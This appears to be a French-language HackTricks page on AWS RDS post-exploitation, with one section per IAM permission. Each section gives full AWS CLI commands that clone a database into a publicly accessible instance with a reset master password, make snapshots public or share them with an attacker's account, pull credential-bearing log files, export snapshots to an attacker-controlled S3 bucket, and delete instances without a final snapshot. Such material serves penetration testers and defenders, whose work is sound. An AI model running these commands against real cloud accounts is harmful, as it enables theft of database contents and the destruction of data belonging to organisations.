AWS - RDS Post Exploitation

Soutenez HackTricks

RDS

Pour plus d'informations, consultez :

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Si l'attaquant dispose de suffisamment de permissions, il pourrait rendre une DB publiquement accessible en créant un snapshot de la DB, puis une DB publiquement accessible à partir du snapshot.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Un attaquant avec ces permissions pourrait créer un snapshot d'une DB et le rendre publiquement disponible. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de ce snapshot.

Si l'attaquant n'a pas le rds:CreateDBSnapshot, il pourrait quand même rendre d'autres snapshots créés publics.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Un attaquant avec la permission rds:DownloadDBLogFilePortion peut télécharger des portions des fichiers journaux d'une instance RDS. Si des données sensibles ou des informations d'identification sont accidentellement enregistrées, l'attaquant pourrait potentiellement utiliser ces informations pour escalader ses privilèges ou effectuer des actions non autorisées.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Impact Potentiel: Accès à des informations sensibles ou actions non autorisées utilisant des identifiants divulgués.

rds:DeleteDBInstance

Un attaquant avec ces permissions peut faire un DoS sur les instances RDS existantes.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Impact potentiel: Suppression des instances RDS existantes et perte potentielle de données.

rds:StartExportTask

TODO: Tester

Un attaquant avec cette permission peut exporter un instantané d'instance RDS vers un bucket S3. Si l'attaquant contrôle le bucket S3 de destination, il peut potentiellement accéder aux données sensibles contenues dans l'instantané exporté.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Impact potentiel: Accès à des données sensibles dans le snapshot exporté.

Soutenez HackTricks

Last updated